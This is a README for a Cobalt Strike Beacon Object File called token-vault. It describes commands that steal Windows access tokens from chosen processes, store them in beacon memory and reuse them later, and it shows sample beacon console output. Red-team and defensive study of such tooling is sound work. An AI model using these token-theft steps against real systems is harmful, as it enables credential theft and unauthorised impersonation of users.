This Beacon Object File (BOF) creates in-memory storage for stolen/duplicated Windows access tokens allow you to:
- Hot swap/re-use already stolen tokens without re-duplicating.
- Store tokens for later use in case of a person log out.
- Download the latest release build or build it
make all. - Load the
token-vault.cnaaggressor script to your Cobalt Strike client.
beacon> help token-vault
Available Commands:
Create a new token vault: token-vault create
Steal and store tokens: token-vault steal <comma separated list of PIDs> [vault-id]
Use the stored token: token-vault use <token-id> [vault-id]
Show the stored tokens: token-vault show [vault-id]
Remove the stored token: token-vault remove <token-id> [vault-id]
Remove all tokens: token-vault remove-all [vault-id]
Set the default token vault: token-vault set <vault-id>
The token-vault create command allocates an empty vault from the beacon's heap.
The received output contains the memory address of the vault (a.k.a. vault id),
which is used to specify the vault for the other token-vault commands.
beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610
Additionally, a specific vault id can be set as a default vault which is used
if a token-vault command does not include the vault id.
beacon> token-vault set 0000000000C31610
It is important to note that configured default vaults live inside the Cobalt Strike client and are not shared between clients.
The token-vault steal command duplicates the given processes' tokens and stores
them in the vault.
